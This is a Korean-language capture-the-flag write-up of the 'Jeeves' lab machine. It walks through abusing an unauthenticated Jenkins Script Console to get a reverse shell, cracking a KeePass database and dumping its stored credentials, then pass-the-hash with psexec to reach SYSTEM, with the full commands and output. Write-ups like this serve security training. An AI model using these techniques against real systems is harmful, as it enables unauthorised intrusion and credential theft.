Jeeves

#Jenkins

1. 정찰

1.1. nmap

nmap 으로 정찰 결과 80포트와 50000번 포트에서 http 서비스를 하는 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV 10.129.228.112                           
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-30 23:18 +04
Nmap scan report for 10.129.228.112
Host is up (0.36s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT      STATE SERVICE      VERSION
80/tcp    open  http         Microsoft IIS httpd 10.0
|_http-title: Ask Jeeves
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
135/tcp   open  msrpc        Microsoft Windows RPC
445/tcp   open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open  http         Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-12-31T00:19:07
|_  start_date: 2025-12-31T00:17:21
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 4h59m58s, deviation: 0s, median: 4h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 70.67 seconds

1.2. 웹 정찰

1.2.1. 80 포트

80 포트를 확인해도 특별한 거를 확인할 수 없었다. 검색 기능이 존재하나 큰 의미는 없다.

1.2.2. 50000 포트

마찬가지로 특별한 서비스가 제공되는 거 같지는 않다.

1.3. 50000 포트의 하위 디렉터리 찾기

그 중에서 50000번 포트에 대해서 하위 디렉터리를 ffuf 를 이용해서 검색한다. 그러면 askjeeves 디렉터리가 확인된다.

┌──(root㉿kali)-[/home/kali/labs/Jeeves]
└─# ffuf -u http://10.129.228.112:50000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.129.228.112:50000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

askjeeves               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 192ms]
[WARN] Caught keyboard interrupt (Ctrl-C)

1.4. askjeeves 폴더 접근

해당 서비스는 자동으로 명령을 실행해주는 서버이다. 그래서 내부에 커맨드를 직접 실행할 수 있는 기능이 존재한다.

2. Jenkins 톺아보기

2.1. Item 을 이용한 명령어 실행

먼저 New Item 을 통해 새로운 아이템을 만든다.

그 다음 Freestyle project 를 선택하고 새로운 아이템을 생성한다.

그러면 Build 항목에 Execute Windows batch command 가 존재하는데, 거기에 간단하게 whoami 커맨드를 실행시킬 명령어를 작성한다.

이후 test 아이템에 대해서 Build Now 를 누르면 해당 명령어가 실행된다.

실행된 명령어는 Console Output 을 통해서 확인할 수 있다.

정상적으로 whoami 가 출력됨을 확인했다.

2.2. Script Console 을 이용한 명령어 실행

그 다음으로는 Manage Jenkins 를 통해서 접근할 수 있다.

그 중에 Script Console 항목을 클릭한다.

그러면 해당 스크립트는 Groovy script 로 작성된다고 나와 있다. 해당 문법에 맞춰 작성해야 한다.

아래와 같은 문법으로 .execute().text 를 통해서 대충 powershell 과 비슷하게 작성할 수 있다.

우리는 powershell 을 통해서 리버스쉘을 맺는 스크립트를 작성할 것이고, 해당 리버스 쉘은 https://www.revshells.com/ 에서 가져와서 사용한다.

3. 내부망 침투

3.1. 리버스 쉘 맺기

먼저 러비스 쉘을 맺기 위해 kali 에서 포트를 개방한다.

┌──(root㉿kali)-[/home/kali/labs/Jeeves]
└─# nc -lvnp 1234                                                  
listening on [any] 1234 ...

이후 위에서 만든 리버스쉘 명령어를 Script Console 에 제공한다.

정상적으로 리버스 쉘이 맺어진 것을 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Jeeves]
└─# nc -lvnp 1234                                                  
listening on [any] 1234 ...
connect to [10.10.14.143] from (UNKNOWN) [10.129.228.112] 49681

PS C:\Users\Administrator\.jenkins> 

3.2. user.txt flag 획득

쉘이 맺어지는 위치에 바로 flag 가 존재하지 않는다.

C:\Users 로 이동해서 어떤 계정들이 있는지 확인했다. 그 중에 실 사용자 계정은 kohsuke 하나로 추정된다.

PS C:\Users\Administrator\.jenkins> cd C:\Users 
PS C:\Users> dir


    Directory: C:\Users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        11/3/2017  11:07 PM                Administrator
d-----        11/5/2017   9:17 PM                DefaultAppPool
d-----        11/3/2017  11:19 PM                kohsuke
d-r---       10/25/2017   4:46 PM                Public

해당 폴더에 접근해서 flag 를 획득한다.

PS C:\Users> cd kohsuke
PS C:\Users\kohsuke> cd Desktop
PS C:\Users\kohsuke\Desktop> dir  


    Directory: C:\Users\kohsuke\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        11/3/2017  11:22 PM             32 user.txt                                                              


PS C:\Users\kohsuke\Desktop> type user.txt

4. 권한 상승

4.1. Documents 폴더 확인

권한 상승을 위해서 C:\Users 로 이동해서 어떤 계정들이 있는지 확인했다. 그 중에 실 사용자 계정은 kohsuke 하나로 추정된다. 해당 폴더의 Documents 로 이동한다. 거기서 CEH.kdbx 파일을 식별했다.

여기서 kdbx 파일은 KeePass 비밀번호 데이터베이스 파일이다. 비밀번호, 계정, 키, 메모 들을 암호화 해서 저장한다. 이 파일 속에 다른 계정 또는 관리자의 계정과 비밀번호가 들어가있을 거라고 추정할 수 있다.

PS C:\Users\kohsuke> cd Documents
PS C:\Users\kohsuke\Documents> dir


    Directory: C:\Users\kohsuke\Documents


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        9/18/2017   1:43 PM           2846 CEH.kdbx                                                              

4.2. CEH.kdbx 파일 다운로드

해당 파일을 다운로드 하기위해 웹에서 다운로드 받을 수 있게 웹 서비스 쪽으로 복사를 한다.

이전에 우리는 test 라는 새로운 아이템을 만들어 놓았기 때문에 C:\Users\Administrator\.jenkins\workspace\test 경로로 이동한다.

PS C:\Users\Administrator\.jenkins\workspace\test> copy \users\kohsuke\Documents\CEH.kdbx .
PS C:\Users\Administrator\.jenkins\workspace\test> dir


    Directory: C:\Users\Administrator\.jenkins\workspace\test


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-a----        9/18/2017   1:43 PM           2846 CEH.kdbx                                                              
-a----       12/31/2025   6:55 AM          59392 nc.exe                                                                

그러면 test 아이템에 대해서 Workspace 로 이동하면 파일들이 존재하는 것을 확인할 수 있다.

파일을 웹 브라우저를 통해서 다운받는다.

4.3. KeePass 복호화

해당 파일을 복호화 하기위해 keepass2johnm 을 통해서 먼저 해쉬로 변환한다.

┌──(root㉿kali)-[/home/kali/labs/Jeeves]
└─# keepass2john CEH.kdbx  > hash

이후 복호화를 진행하면 moonshine1 비밀번호를 획득할 수 있다.

┌──(root㉿kali)-[~kali/labs/Jeeves]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash       
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 6000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
moonshine1       (CEH)     
1g 0:00:00:09 DONE (2025-12-31 11:52) 0.1055g/s 5805p/s 5805c/s 5805C/s patrizia..moonshine1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

4.4. KeePass 파일 비밀번호 추출

kpcli 를 통해서 keepass 내부로 진입을 시도한다. 이전에 획득했던 비밀번호 moonshine1 를 입력하면 전용 쉘이 나온다.

┌──(root㉿kali)-[~kali/labs/Jeeves]
└─# kpcli --kdb CEH.kdbx

WARNING: A KeePassX-style lock file is in place for this file.
         It may be opened elsewhere. Be careful of saving!                                                          
Provide the master password: *************************                                                              

KeePass CLI (kpcli) v3.8.1 is ready for operation.
Type 'help' for a description of available commands.
Type 'help <command>' for details on individual commands.

kpcli:/> 

전체 계정에 대한 정보를 보고 싶으면 find . 를 쓰면 모든 정보를 볼 수 있다.

kpcli:/> find .
Searching for "." ...
 - 8 matches found and placed into /_found/
Would you like to list them now? [y/N] 
=== Entries ===
0. Backup stuff                                                           
1. Bank of America                                   www.bankofamerica.com
2. DC Recovery PW                                                         
3. EC-Council                               www.eccouncil.org/programs/cer
4. It's a secret                                 localhost:8180/secret.jsp
5. Jenkins admin                                            localhost:8080
6. Keys to the kingdom                                                    
7. Walmart.com                                             www.walmart.com

여기서 show -f 0 과 같이 계정에 할당된 숫자를 입력하면 비밀번호가 출력된다.

kpcli:/> show -f 0

 Path: /CEH/
Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  URL: 
Notes: 

kpcli:/> show -f 1

 Path: /CEH/
Title: Bank of America
Uname: Michael321
 Pass: 12345
  URL: https://www.bankofamerica.com
Notes: 

kpcli:/> show -f 2

 Path: /CEH/
Title: DC Recovery PW
Uname: administrator
 Pass: S1TjAtJHKsugh9oC4VZl
  URL: 
Notes: 

kpcli:/> show -f 3

 Path: /CEH/
Title: EC-Council
Uname: hackerman123
 Pass: pwndyouall!
  URL: https://www.eccouncil.org/programs/certified-ethical-hacker-ceh
Notes: Personal login

kpcli:/> show -f 4

 Path: /CEH/
Title: It's a secret
Uname: admin
 Pass: F7WhTrSFDKB6sxHU1cUn
  URL: http://localhost:8180/secret.jsp
Notes: 

kpcli:/> show -f 5

 Path: /CEH/
Title: Jenkins admin
Uname: admin
 Pass: 
  URL: http://localhost:8080
Notes: We don't even need creds! Unhackable! 

kpcli:/> show -f 6

 Path: /CEH/
Title: Keys to the kingdom
Uname: bob
 Pass: lCEUnYPjNfIuPZSzOySA
  URL: 
Notes: 

kpcli:/> show -f 7

 Path: /CEH/
Title: Walmart.com
Uname: anonymous
 Pass: Password
  URL: http://www.walmart.com
Notes: Getting my shopping on

4.5. 이용 가능한 비밀번호 확인

원래는 passwords 파일을 만들고 위에서 획득한 파일을 전부 nxc 를 통해 smb 를 통해서 비밀번호가 어떤 거에 맞는지 식별하려 했으나 실패했다.

그래서 PtH 기술을 이용해서 접근이 가능한지 확인했더니 administrator 계정에 대해서 접근이 가능함을 식별했다.

┌──(root㉿kali)-[~kali/labs/Jeeves]
└─# nxc smb 10.129.228.112 -u administrator -H aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
SMB         10.129.228.112  445    JEEVES           [*] Windows 10 Build 10586 x64 (name:JEEVES) (domain:Jeeves) (signing:False) (SMBv1:True)
SMB         10.129.228.112  445    JEEVES           [+] Jeeves\administrator:e0fb1fb85756c24235ff238cbe81fe00 (Pwn3d!)

4.6. psexec 를 통한 SYSTEM 권한으로 접근

impacket-psexec 를 통해서 PtH 로 접근을 하면 쉘을 획득할 수 있다.

┌──(root㉿kali)-[~kali/labs/Jeeves]
└─# impacket-psexec -hashes 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00' -dc-ip 10.129.228.112 administrator@10.129.228.112
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.129.228.112.....
[*] Found writable share ADMIN$
[*] Uploading file TDrMLQou.exe
[*] Opening SVCManager on 10.129.228.112.....
[*] Creating service VWDj on 10.129.228.112.....
[*] Starting service VWDj.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

4.7. root.txt 플래그 추출

이번에 flag 는 txt 파일을 읽는다고 바로 나오지 않는다. dir 대신 숨어져있는 기능까지 보는 dir /R 을 이용해서 식별한 결과 hm.txt:root.txt:$DATA 가 존재한다.

C:\Users\Administrator\Desktop> dir /R    
 Volume in drive C has no label.
 Volume Serial Number is 71A1-6FA1

 Directory of C:\Users\Administrator\Desktop

11/08/2017  09:05 AM    <DIR>          .
11/08/2017  09:05 AM    <DIR>          ..
12/24/2017  02:51 AM                36 hm.txt
                                    34 hm.txt:root.txt:$DATA
11/08/2017  09:05 AM               797 Windows 10 Update Assistant.lnk
               2 File(s)            833 bytes
               2 Dir(s)   2,635,309,056 bytes free

more < hm.txt:root.txt 와 같이 입력하면 root.txt 파일을 확인할 수 있다.

C:\Users\Administrator\Desktop> more < hm.txt:root.txt
Updated on